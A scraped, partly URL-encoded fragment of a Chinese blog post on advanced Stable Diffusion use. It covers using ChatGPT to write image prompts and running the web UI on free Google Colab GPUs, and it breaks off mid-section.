2p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22card%22%2C%22id%22%3A%22u20595892%22%2C%22name%22%3A%22image%22%2C%22attrs%22%3A%7B%22value%22%3A%7B%22src%22%3A%22https%3A%2F%2Fcdn.nlark.com%2Fyuque%2F0%2F2023%2Fpng%2F26687441%2F1685699614948-4c187984-7515-4728-a027-0b73705c5cea.png%22%2C%22original%22%3A%7B%22type%22%3A%22binary%22%2C%22from%22%3A%22paste%22%2C%22ratio%22%3A1.100000023841858%2C%22width%22%3A1669%2C%22height%22%3A874%7D%2C%22name%22%3A%22image.png%22%2C%22size%22%3A328790%2C%22width%22%3A1517.2726943867274%2C%22status%22%3A%22done%22%2C%22style%22%3A%22none%22%2C%22taskId%22%3A%22ued2f1cb1-9447-4759-8ceb-4173d267bcc%22%2C%22clientId%22%3A%22u20e6ee8e-ea5a-4%22%2C%22linkExternal%22%3Atrue%2C%22ocr%22%3A%5B%7B%22x%22%3A31%2C%22y%22%3A21%2C%22width%22%3A295%2C%22height%22%3A16%2C%22text%22%3A%22PROMPT%20(PRESS%20CTRL%2BENTER%20OR%20ALT%2BENTER%20TO%20GENERATE)%22%7D%2C%7B%22x%22%3A1466%2C%22y%22%3A33%2C%22width%22%3A65%2C%22height%22%3A14%2C%22text%22%3A%22GENERATE%22%7D%2C%7B%22x%22%3A31%2C%22y%22%3A125%2C%22width%22%3A349%2C%22height%22%3A17%2C%22text%22%3A%22NEGATIVE%20PROMPT%20(PRESS%20CTRL%2BENTERORALT%2BENTER%20TO%20GENERATE)%22%7D%2C%7B%22x%22%3A1344%2C%22y%22%3A128%2C%22width%22%3A38%2C%22height%22%3A15%2C%22text%22%3A%22STYLES%22%7D%2C%7B%22x%22%3A1627%2C%22y%22%3A147%2C%22width%22%3A21%2C%22height%22%3A22%2C%22text%22%3A%22%E9%97%A8%22%7D%2C%7B%22x%22%3A455%2C%22y%22%3A213%2C%22width%22%3A92%2C%22height%22%3A15%2C%22text%22%3A%22SAMPLING%20STEPS%22%7D%2C%7B%22x%22%3A34%2C%22y%22%3A245%2C%22width%22%3A41%2C%22height%22%3A12%2C%22text%22%3A%22EULER%20A%22%7D%2C%7B%22x%22%3A170%2C%22y%22%3A292%2C%22width%22%3A36%2C%22height%22%3A15%2C%22text%22%3A%22TILING%22%7D%2C%7B%22x%22%3A250%2C%22y%22%3A292%2C%22width%22%3A53%2C%22height%22%3A14%2C%22text%22%3A%22HIRES.FIX%22%7D%2C%7B%22x%22%3A41%2C%22y%22%3A293%2C%22width%22%3A85%2C%22height%22%3A16%2C%22text%22%3A%22RESTORE%20FACES%22%7D%2C%7B%22x%22%3A26%2C%22y%22%3A318%2C%22width%22%3A38%2C%22height%22%3A14%2C%22text%22%3A%22WIDTH%22%7D%2C%7B%22x%22%3A625%2C%22y%22%3A318%2C%22width%22%3A73%2C%22height%22%3A14%2C%22text%22%3A%22BATCH%20COUNT%22%7D%2C%7B%22x%22%3A465%2C%22y%22%3A323%2C%22width%22%3A28%2C%22height%22%3A15%2C%22text%22%3A%22264%22%7D%2C%7B%22x%22%3A26%2C%22y%22%3A368%2C%22width%22%3A44%2C%22height%22%3A14%2C%22text%22%3A%22HEIGHT%22%7D%2C%7B%22x%22%3A468%2C%22y%22%3A372%2C%22width%22%3A25%2C%22height%22%3A16%2C%22text%22%3A%22512%22%7D%2C%7B%22x%22%3A27%2C%22y%22%3A415%2C%22width%22%3A61%2C%22height%22%3A13%2C%22text%22%3A%22CFG%20SCALE%22%7D%2C%7B%22x%22%3A30%2C%22y%22%3A496%2C%22width%22%3A17%2C%22height%22%3A13%2C%22text%22%3A%22-1%22%7D%2C%7B%22x%22%3A785%2C%22y%22%3A497%2C%22width%22%3A32%2C%22height%22%3A13%2C%22text%22%3A%22EXTRA%22%7D%2C%7B%22x%22%3A26%2C%22y%22%3A525%2C%22width%22%3A36%2C%22height%22%3A13%2C%22text%22%3A%22SCRIPT%22%7D%2C%7B%22x%22%3A31%2C%22y%22%3A556%2C%22width%22%3A54%2C%22height%22%3A14%2C%22text%22%3A%22CHATGPT%22%7D%2C%7B%22x%22%3A29%2C%22y%22%3A573%2C%22width%22%3A62%2C%22height%22%3A14%2C%22text%22%3A%22TEMPLATES%22%7D%2C%7B%22x%22%3A442%2C%22y%22%3A574%2C%22width%22%3A104%2C%22height%22%3A13%2C%22text%22%3A%22ANSWER%20PRECISION%22%7D%2C%7B%22x%22%3A450%2C%22y%22%3A605%2C%22width%22%3A47%2C%22height%22%3A13%2C%22text%22%3A%22DREAMY%22%7D%2C%7B%22x%22%3A34%2C%22y%22%3A662%2C%22width%22%3A141%2C%22height%22%3A15%2C%22text%22%3A%22%E7%A9%BF%E7%9D%80%E6%A0%A1%E6%9C%8D%E7%B2%89%E8%89%B2%E5%A4%B4%E5%8F%91%E5%A5%B3%E7%94%9F%22%7D%2C%7B%22x%22%3A1434%2C%22y%22%3A692%2C%22width%22%3A56%2C%22height%22%3A16%2C%22text%22%3A%22SENDTO%22%7D%2C%7B%22x%22%3A1297%2C%22y%22%3A693%2C%22width%22%3A56%2C%22height%22%3A16%2C%22text%22%3A%22SENDTO%22%7D%2C%7B%22x%22%3A1172%2C%22y%22%3A703%2C%22width%22%3A27%2C%22height%22%3A19%2C%22text%22%3A%22ZIP%22%7D%2C%7B%22x%22%3A1551%2C%22y%22%3A704%2C%22width%22%3A102%2C%22height%22%3A17%2C%22text%22%3A%22SEND%20TO%20EXTRAS%22%7D%2C%7B%22x%22%3A1030%2C%22y%22%3A705%2C%22width%22%3A36%2C%22height%22%3A14%2C%22text%22%3A%22SAVE%22%7D%2C%7B%22x%22%3A1293%2C%22y%22%3A718%2C%22width%22%3A64%2C%22height%22%3A16%2C%22text%22%3A%22IMG2IMG%22%7D%2C%7B%22x%22%3A1436%2C%22y%22%3A719%2C%22width%22%3A54%2C%22height%22%3A14%2C%22text%22%3A%22INPAINT%22%7D%2C%7B%22x%22%3A27%2C%22y%22%3A756%2C%22width%22%3A96%2C%22height%22%3A13%2C%22text%22%3A%22RESPONSE%20COUNT%22%7D%2C%7B%22x%22%3A452%2C%22y%22%3A777%2C%22width%22%3A289%2C%22height%22%3A17%2C%22text%22%3A%22APPEND%20TO%20ORIGINAL%20PROMPT%20INSTEAD%20OF%20REPLACING%20IT%22%7D%2C%7B%22x%22%3A854%2C%22y%22%3A779%2C%22width%22%3A484%2C%22height%22%3A15%2C%22text%22%3A%22TIME%20TAKEN%3A2M%2055.65S%20TORCH%20ACTIVE%2FRESERVED%3A%202442%2F2484%20MIB.SYS%20VRAM%3A4083%2F4096%20NIB(99.699.6996)%22%7D%2C%7B%22x%22%3A27%2C%22y%22%3A818%2C%22width%22%3A189%2C%22height%22%3A15%2C%22text%22%3A%22PREPEND%20GENERATED%20PROMPT%20WITH%22%7D%2C%7B%22x%22%3A435%2C%22y%22%3A818%2C%22width%22%3A185%2C%22height%22%3A16%2C%22text%22%3A%22APPEND%20GENERATED%20PROMPT%20WITH%22%7D%5D%2C%22search%22%3A%22PROMPT%20(PRESS%20CTRL%2BENTER%20OR%20ALT%2BENTER%20TO%20GENERATE)%20GENERATE%20NEGATIVE%20PROMPT%20(PRESS%20CTRL%2BENTERORALT%2BENTER%20TO%20GENERATE)%20STYLES%20%E9%97%A8%20SAMPLING%20STEPS%20EULER%20A%20TILING%20HIRES.FIX%20RESTORE%20FACES%20WIDTH%20BATCH%20COUNT%20264%20HEIGHT%20512%20CFG%20SCALE%20-1%20EXTRA%20SCRIPT%20CHATGPT%20TEMPLATES%20ANSWER%20PRECISION%20DREAMY%20%E7%A9%BF%E7%9D%80%E6%A0%A1%E6%9C%8D%E7%B2%89%E8%89%B2%E5%A4%B4%E5%8F%91%E5%A5%B3%E7%94%9F%20SENDTO%20SENDTO%20ZIP%20SEND%20TO%20EXTRAS%20SAVE%20IMG2IMG%20INPAINT%20RESPONSE%20COUNT%20APPEND%20TO%20ORIGINAL%20PROMPT%20INSTEAD%20OF%20REPLACING%20IT%20TIME%20TAKEN%3A2M%2055.65S%20TORCH%20ACTIVE%2FRESERVED%3A%202442%2F2484%20MIB.SYS%20VRAM%3A4083%2F4096%20NIB(99.699.6996)%20PREPEND%20GENERATED%20PROMPT%20WITH%20APPEND%20GENERATED%20PROMPT%20WITH%22%2C%22crop%22%3A%5B0%2C0%2C1%2C1%5D%2C%22showTitle%22%3Afalse%2C%22title%22%3A%22%22%2C%22rotation%22%3A0%2C%22__spacing%22%3A%22both%22%2C%22averageHue%22%3A%22%23fcfaf9%22%7D%2C%22cardType%22%3A%22inline%22%7D%2C%22cardType%22%3A%22inline%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22ub918cc2c%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22uca584952%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%E5%BD%93%E7%84%B6%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u9394a331%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22bold%22%3Atrue%7D%2C%22data%22%3A%22%E8%AE%A9chatgpt%E5%8E%BB%E7%94%9F%E6%88%90prompt%E6%98%AF%E6%AF%94%E8%BE%83%E7%AE%80%E5%8D%95%E7%9A%84%E5%BA%94%E7%94%A8%E6%96%B9%E5%BC%8F%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u5bd2f54b%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%EF%BC%8C%E4%BD%A0%E4%B9%9F%E5%8F%AF%E4%BB%A5%E6%8C%87%E5%AE%9A%E9%83%A8%E5%88%86prompt%EF%BC%8C%E7%84%B6%E5%90%8E%E8%BF%9B%E4%B8%80%E6%AD%A5%E7%94%9F%E6%88%90%E5%9B%BE%E7%89%87%E3%80%82%E6%AF%94%E5%A6%82%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u537bbb56%22%2C%22name%22%3A%22hole%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22card%22%2C%22id%22%3A%22karhW%22%2C%22name%22%3A%22codeblock%22%2C%22attrs%22%3A%7B%22value%22%3A%7B%22mode%22%3A%22python%22%2C%22code%22%3A%22%E5%9F%BA%E4%BA%8E%20%7Bprompt%7D%EF%BC%8C%E7%94%9F%E6%88%90%E4%B8%8D%E5%90%8C%E5%A7%BF%E5%8A%BF%E7%9A%84%E7%B2%89%E8%89%B2%E5%A4%B4%E5%8F%91%E7%BE%8E%E5%A5%B3%22%2C%22autoWrap%22%3Afalse%2C%22lineNumbers%22%3Atrue%2C%22heightLimit%22%3Atrue%2C%22collapsed%22%3Afalse%2C%22hideToolbar%22%3Atrue%2C%22name%22%3A%22%22%2C%22tabSize%22%3Anull%2C%22indentWithTab%22%3Afalse%2C%22lightLines%22%3A%5B%5D%2C%22foldLines%22%3A%5B%5D%2C%22theme%22%3A%22Github%20Light%22%2C%22__spacing%22%3A%22both%22%7D%2C%22cardType%22%3A%22block%22%7D%2C%22cardType%22%3A%22block%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u75d4f5d2%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u7d49298c%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%E8%BF%99%E7%A7%8D%E6%83%85%E5%86%B5%E4%B8%8B%EF%BC%8C%E4%BD%A0%E5%85%88%E5%8E%BB%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22ue1faa0e7%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22bold%22%3Atrue%7D%2C%22data%22%3A%22%E6%90%9E%E4%B8%80%E4%B8%AA%E6%AF%94%E8%BE%83%E9%9D%A0%E8%B0%B1%E7%9A%84prompt%EF%BC%8C%E5%86%8D%E8%87%AA%E5%AE%9A%E4%B9%89%E5%81%9A%E4%BF%AE%E6%94%B9%EF%BC%8C%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22uaea1d730%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%E5%B0%B1%E4%B8%8D%E4%BC%9A%E5%83%8F%E4%BB%A5%E5%89%8D%E4%B8%80%E6%A0%B7%E5%AF%B9%E8%B6%85%E9%95%BF%E7%9A%84prompt%E6%97%A0%E4%BB%8E%E4%B8%8B%E6%89%8B%E4%BA%86%E3%80%82%E5%BD%93%E7%84%B6%EF%BC%8C%E6%88%91%E8%AF%95%E4%BA%86%E5%87%A0%E6%AC%A1%E4%B9%8B%E5%90%8E%E5%8F%91%E7%8E%B0%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u6190cfa1%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22bold%22%3Atrue%7D%2C%22data%22%3A%22%EF%BC%8C%E5%85%B6%E5%AE%9Echatgpt%E4%B8%8D%E5%A4%AA%E8%83%BD%E7%90%86%E8%A7%A3%E8%BF%99%E4%B8%AA%E9%A2%84%E8%AE%BE%E7%9A%84prompt%EF%BC%8C%E6%95%88%E6%9E%9C%E6%B2%A1%E6%9C%89%E7%9B%B4%E6%8E%A5%E6%8F%8F%E8%BF%B0%E5%9C%BA%E6%99%AF%E6%9B%B4%E5%A5%BD%E3%80%82%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u49125fef%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22card%22%2C%22id%22%3A%22ufe883fc9%22%2C%22name%22%3A%22image%22%2C%22attrs%22%3A%7B%22value%22%3A%7B%22src%22%3A%22https%3A%2F%2Fcdn.nlark.com%2Fyuque%2F0%2F2023%2Fpng%2F26687441%2F1685700301849-a5dcfc01-f187-4335-98a9-5217fc4844b4.png%22%2C%22original%22%3A%7B%22type%22%3A%22binary%22%2C%22from%22%3A%22paste%22%2C%22ratio%22%3A1.100000023841858%2C%22width%22%3A1501%2C%22height%22%3A796%7D%2C%22name%22%3A%22image.png%22%2C%22size%22%3A333431%2C%22width%22%3A1364.5454249697289%2C%22status%22%3A%22done%22%2C%22style%22%3A%22none%22%2C%22taskId%22%3A%22u03f89a44-b776-4dfb-830d-3b15ddb9bb7%22%2C%22clientId%22%3A%22u20e6ee8e-ea5a-4%22%2C%22linkExternal%22%3Atrue%2C%22ocr%22%3A%5B%7B%22x%22%3A1071%2C%22y%22%3A0%2C%22width%22%3A219%2C%22height%22%3A13%2C%22text%22%3A%22%E6%9C%89%E7%94%A8(88%2F150%22%7D%2C%7B%22x%22%3A1453%2C%22y%22%3A29%2C%22width%22%3A47%2C%22height%22%3A14%2C%22text%22%3A%22GENERA%22%7D%2C%7B%22x%22%3A17%2C%22y%22%3A37%2C%22width%22%3A754%2C%22height%22%3A16%2C%22text%22%3A%22SHADOW.OW%20KEJ)&#39;REALSTI%2C%20PHOTO-SITON%20THECLA)%2CSTINI-SINI-SINI-S2%3ASKINI-SKINI-SIT%22%7D%2C%7B%22x%22%3A1471%2C%22y%22%3A86%2C%22width%22%3A21%2C%22height%22%3A26%2C%22text%22%3A%22%E6%97%A5%22%7D%2C%7B%22x%22%3A1427%2C%22y%22%3A88%2C%22width%22%3A20%2C%22height%22%3A25%2C%22text%22%3A%22%E6%97%A5%22%7D%2C%7B%22x%22%3A1381%2C%22y%22%3A90%2C%22width%22%3A21%2C%22height%22%3A22%2C%22text%22%3A%22%E5%9B%AD%22%7D%2C%7B%22x%22%3A1250%2C%22y%22%3A99%2C%22width%22%3A36%2C%22height%22%3A16%2C%22text%22%3A%2236%2F75%22%7D%2C%7B%22x%22%3A18%2C%22y%22%3A121%2C%22width%22%3A797%2C%22height%22%3A16%2C%22text%22%3A%22(83CHANDSZ)%2CDEEPNEGA%3B%3B%3B%3BSNEGSTIVEN%26%20DEEPNEGATIVE%20V1%2C75TPAINTING%3BSKETCHES(WORS(WORS(WORMALITY%2FINOLQUAL%22%7D%2C%7B%22x%22%3A1330%2C%22y%22%3A123%2C%22width%22%3A36%2C%22height%22%3A16%2C%22text%22%3A%22STYLES%22%7D%2C%7B%22x%22%3A14%2C%22y%22%3A208%2C%22width%22%3A106%2C%22height%22%3A14%2C%22text%22%3A%22SAMPLING%20METHOD%22%7D%2C%7B%22x%22%3A440%2C%22y%22%3A211%2C%22width%22%3A92%2C%22height%22%3A13%2C%22text%22%3A%22SAMPLING%20STEPS%22%7D%2C%7B%22x%22%3A20%2C%22y%22%3A241%2C%22width%22%3A43%2C%22height%22%3A13%2C%22text%22%3A%22EULER%20A%22%7D%2C%7B%22x%22%3A156%2C%22y%22%3A289%2C%22width%22%3A37%2C%22height%22%3A15%2C%22text%22%3A%22TILING%22%7D%2C%7B%22x%22%3A31%2C%22y%22%3A289%2C%22width%22%3A80%2C%22height%22%3A13%2C%22text%22%3A%22RESTORE%20FACES%22%7D%2C%7B%22x%22%3A237%2C%22y%22%3A289%2C%22width%22%3A54%2C%22height%22%3A13%2C%22text%22%3A%22HIRES.%20FIX%22%7D%2C%7B%22x%22%3A15%2C%22y%22%3A314%2C%22width%22%3A35%2C%22height%22%3A13%2C%22text%22%3A%22WIDTH%22%7D%2C%7B%22x%22%3A612%2C%22y%22%3A315%2C%22width%22%3A72%2C%22height%22%3A13%2C%22text%22%3A%22BATCH%20COUNT%22%7D%2C%7B%22x%22%3A731%2C%22y%22%3A318%2C%22width%22%3A32%2C%22height%22%3A19%2C%22text%22%3A%221%22%7D%2C%7B%22x%22%3A453%2C%22y%22%3A320%2C%22width%22%3A24%2C%22height%22%3A14%2C%22text%22%3A%22264%22%7D%2C%7B%22x%22%3A13%2C%22y%22%3A365%2C%22width%22%3A42%2C%22height%22%3A13%2C%22text%22%3A%22HEIGHT%22%7D%2C%7B%22x%22%3A611%2C%22y%22%3A365%2C%22width%22%3A61%2C%22height%22%3A12%2C%22text%22%3A%22BATCH%20SIZE%22%7D%2C%7B%22x%22%3A453%2C%22y%22%3A367%2C%22width%22%3A24%2C%22height%22%3A16%2C%22text%22%3A%22512%22%7D%2C%7B%22x%22%3A13%2C%22y%22%3A412%2C%22width%22%3A59%2C%22height%22%3A13%2C%22text%22%3A%22CFG%20SCALE%22%7D%2C%7B%22x%22%3A13%2C%22y%22%3A470%2C%22width%22%3A28%2C%22height%22%3A12%2C%22text%22%3A%22SEED%22%7D%2C%7B%22x%22%3A771%2C%22y%22%3A493%2C%22width%22%3A32%2C%22height%22%3A13%2C%22text%22%3A%22EXTRA%22%7D%2C%7B%22x%22%3A14%2C%22y%22%3A521%2C%22width%22%3A34%2C%22height%22%3A12%2C%22text%22%3A%22SCRIPT%22%7D%2C%7B%22x%22%3A19%2C%22y%22%3A553%2C%22width%22%3A53%2C%22height%22%3A13%2C%22text%22%3A%22CHATGPT%22%7D%2C%7B%22x%22%3A428%2C%22y%22%3A569%2C%22width%22%3A101%2C%22height%22%3A14%2C%22text%22%3A%22ANSWER%20PRECISION%22%7D%2C%7B%22x%22%3A17%2C%22y%22%3A569%2C%22width%22%3A61%2C%22height%22%3A13%2C%22text%22%3A%22TEMPLATES%22%7D%2C%7B%22x%22%3A435%2C%22y%22%3A601%2C%22width%22%3A47%2C%22height%22%3A13%2C%22text%22%3A%22DREAMY%22%7D%2C%7B%22x%22%3A18%2C%22y%22%3A658%2C%22width%22%3A284%2C%22height%22%3A17%2C%22text%22%3A%22%E5%9F%BA%E4%BA%8E(PROMPT)%2C%E7%94%9F%E6%88%90%E4%B8%8D%E5%90%8C%E5%A7%BF%E5%8A%BF%E7%9A%84%E7%B2%89%E8%89%B2%E5%A4%B4%E5%8F%91%E7%BE%8E%E5%A5%B3%22%7D%2C%7B%22x%22%3A1282%2C%22y%22%3A689%2C%22width%22%3A57%2C%22height%22%3A15%2C%22text%22%3A%22SEND%20TO%22%7D%2C%7B%22x%22%3A1422%2C%22y%22%3A690%2C%22width%22%3A55%2C%22height%22%3A15%2C%22text%22%3A%22SEND%20TO%22%7D%2C%7B%22x%22%3A1016%2C%22y%22%3A701%2C%22width%22%3A36%2C%22height%22%3A15%2C%22text%22%3A%22SAVE%22%7D%2C%7B%22x%22%3A1161%2C%22y%22%3A702%2C%22width%22%3A23%2C%22height%22%3A15%2C%22text%22%3A%22ZIP%22%7D%2C%7B%22x%22%3A1279%2C%22y%22%3A713%2C%22width%22%3A64%2C%22height%22%3A17%2C%22text%22%3A%22IMG2IMG%22%7D%2C%7B%22x%22%3A1423%2C%22y%22%3A713%2C%22width%22%3A53%2C%22height%22%3A15%2C%22text%22%3A%22INPAINT%22%7D%2C%7B%22x%22%3A14%2C%22y%22%3A752%2C%22width%22%3A95%2C%22height%22%3A14%2C%22text%22%3A%22RESPONSE%20COUNT%22%7D%2C%7B%22x%22%3A438%2C%22y%22%3A774%2C%22width%22%3A288%2C%22height%22%3A16%2C%22text%22%3A%22APPEND%20TO%20ORIGINAL%20PROMPT%20INSTEAD%20OF%20REPLACING%20IT%22%7D%2C%7B%22x%22%3A841%2C%22y%22%3A777%2C%22width%22%3A404%2C%22height%22%3A13%2C%22text%22%3A%22A%20PINK-HAIRED%20GIRL%20STANDING%20TALL%20IN%20AN%20INTRICATELY%20DETAILED%20STUDIO%20SETTING.%22%7D%5D%2C%22search%22%3A%22%E6%9C%89%E7%94%A8(88%2F150%20GENERA%20SHADOW.OW%20KEJ)&#39;REALSTI%2C%20PHOTO-SITON%20THECLA)%2CSTINI-SINI-SINI-S2%3ASKINI-SKINI-SIT%20%E6%97%A5%20%E6%97%A5%20%E5%9B%AD%2036%2F75%20(83CHANDSZ)%2CDEEPNEGA%3B%3B%3B%3BSNEGSTIVEN%26%20DEEPNEGATIVE%20V1%2C75TPAINTING%3BSKETCHES(WORS(WORS(WORMALITY%2FINOLQUAL%20STYLES%20SAMPLING%20METHOD%20SAMPLING%20STEPS%20EULER%20A%20TILING%20RESTORE%20FACES%20HIRES.%20FIX%20WIDTH%20BATCH%20COUNT%201%20264%20HEIGHT%20BATCH%20SIZE%20512%20CFG%20SCALE%20SEED%20EXTRA%20SCRIPT%20CHATGPT%20ANSWER%20PRECISION%20TEMPLATES%20DREAMY%20%E5%9F%BA%E4%BA%8E(PROMPT)%2C%E7%94%9F%E6%88%90%E4%B8%8D%E5%90%8C%E5%A7%BF%E5%8A%BF%E7%9A%84%E7%B2%89%E8%89%B2%E5%A4%B4%E5%8F%91%E7%BE%8E%E5%A5%B3%20SEND%20TO%20SEND%20TO%20SAVE%20ZIP%20IMG2IMG%20INPAINT%20RESPONSE%20COUNT%20APPEND%20TO%20ORIGINAL%20PROMPT%20INSTEAD%20OF%20REPLACING%20IT%20A%20PINK-HAIRED%20GIRL%20STANDING%20TALL%20IN%20AN%20INTRICATELY%20DETAILED%20STUDIO%20SETTING.%22%2C%22crop%22%3A%5B0%2C0%2C1%2C1%5D%2C%22showTitle%22%3Afalse%2C%22title%22%3A%22%22%2C%22rotation%22%3A0%2C%22__spacing%22%3A%22both%22%2C%22averageHue%22%3A%22%23f7f5f4%22%7D%2C%22cardType%22%3A%22inline%22%7D%2C%22cardType%22%3A%22inline%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u4d948479%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22uf96f00f0%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%E7%94%9F%E6%88%90%E7%9A%84%E5%9B%BE%E6%9C%89%E7%82%B9%E5%84%BF%E5%B4%A9%E4%BA%86%EF%BC%8C%E8%BF%99%E9%87%8C%E6%88%91%E5%B0%B1%E6%89%93%E7%A0%81%E4%BA%86%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22rzA0V%22%2C%22name%22%3A%22h1%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u68e0e2d1%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%E5%86%99%E5%9C%A8%E6%9C%80%E5%90%8E%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22uf76b9c03%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22ud0b0d03e%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%E5%9C%A8%E7%A0%94%E7%A9%B6Stable%20diffusion%E7%9A%84%E8%BF%87%E7%A8%8B%E4%B8%AD%EF%BC%8C%E7%9C%9F%E7%9A%84%E6%84%9F%E8%A7%89%E7%8E%B0%E5%9C%A8%E8%BF%99%E4%B8%AA%E4%B8%9C%E8%A5%BF%E5%A5%BD%E6%88%90%E7%86%9F%EF%BC%8C%E6%B2%A1%E6%83%B3%E5%88%B0AI%E9%9D%A9%E5%91%BD%EF%BC%8C%E5%BE%88%E5%A4%9A%E8%A1%8C%E4%B8%9A%E9%83%BD%E8%BF%98%E6%B2%A1%E9%9D%A9%E6%98%8E%E7%99%BD%EF%BC%8C%E4%BD%86%E5%86%8D%E8%AE%BE%E8%AE%A1%E5%9C%88%E5%B7%B2%E7%BB%8F%E6%8E%80%E8%B5%B7%E7%BF%BB%E5%A4%A9%E6%B3%A2%E6%B5%AA%E4%BA%86%E3%80%82%E4%B8%8B%E6%AC%A1%E6%96%87%E7%AB%A0%E4%BC%9A%E8%81%8A%E8%81%8A%E5%8F%A6%E4%B8%80%E4%B8%AA%E7%A5%9E%E5%99%A8%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u0e7e94bd%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22bold%22%3Atrue%7D%2C%22data%22%3A%22midjounry%22%7D%5D%7D%5D%2C%22attrs%22%3A%7B%7D%7D"></ne-clipboard><span style="letter-spacing: 0.034em;">在第一篇关于AI绘图的文章中，我主要介绍了</span><span style="letter-spacing: 0.034em;color: rgb(35, 57, 77);font-size: 16px;">stable diffusion的各种使用方法</span></p><ul class="list-paddingleft-1" style="padding-left: 23px;"><li><p><a href="https://lorexxar.cn/2023/02/21/cyber-girl/" target="_blank">https://lorexxar.cn/2023/02/21/cyber-girl/</a></p></li></ul><p style="min-height: 24px;"><strong>在midjounry收费之后，除非你对AI绘图这个操作本身有强需求，否则在免费自建的</strong><strong><span style="color: rgb(35, 57, 77);font-size: 16px;">stable diffusion上做拓展就成了现在最好的解决方案。</span></strong></p><p style="min-height: 24px;"><span style="color: rgb(35, 57, 77);font-size: 16px;">这篇文章就聊一些stable diffusion的一些进阶操作和关键点。其中有不少还是很有意思的。</span></p><h1 style="font-size: 28px;line-height: 36px;margin-top: 26px;margin-bottom: 10px;"><span>在线部署stable diffusion</span></h1><p style="min-height: 24px;"><span style="font-size: 16px;">AI相关的东西都有一个很大的共同点就是</span><strong><span style="font-size: 16px;">对GPU的算力要求太高</span></strong><span style="font-size: 16px;">，相比在服务器上运行，更靠谱的方案是在本地电脑上跑，比起动辄5、6位数的服务器，</span><strong><span style="font-size: 16px;">一个入门级的4070ti就已经能应对大量的ai训练场景</span></strong><span style="font-size: 16px;">了。</span></p><h2 style="font-size: 24px;line-height: 32px;margin-top: 21px;margin-bottom: 5px;"><span>在Google Colab白嫖GPU</span></h2><p style="min-height: 24px;"><span style="font-size: 16px;">但有个很特殊的东西是</span><strong><span style="color: rgb(61, 70, 77);font-size: 16px;">Google Colab</span></strong><span style="color: rgb(61, 70, 77);font-size: 16px;">，这是Google提供的免费GPU算力</span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.22889305816135083" width="969.0908880864298" data-type="png" data-w="1066" src="https://wechat2rss.xlab.app/img-proxy/?k=1cd70d34&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6UR20c7dfd6VYxosiaqFnSibznRHf9z4YFgJgNoFlu9iblicAp9Zv2Xtiasp4PfoGJFAsV7diarIkhrNLTQg%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span>现在有很多现成的脚本可以允许你</span><strong>一键部署脚本</strong><span>，就比如</span></p><ul class="list-paddingleft-1" style="padding-left: 23px;"><li><p><a href="https://colab.research.google.com/drive/1lekLF7iib6M1R-NCylS0VMTF4wve-XuV" target="_blank">https://colab.research.google.com/drive/1lekLF7iib6M1R-NCylS0VMTF4wve-XuV</a></p></li></ul><p style="min-height: 24px;"><span style="color: rgb(35, 57, 77);font-size: 16px;">点击打开之后，先</span><strong><span style="color: rgb(35, 57, 77);font-size: 16px;">点击右上角的连接，会随机分配一个机器给你</span></strong><span style="color: rgb(35, 57, 77);font-size: 16px;">。</span></p><p style="min-height: 24px;"><img data-ratio="0.38803088803088803" width="470.9090807024115" data-type="png" data-w="518" 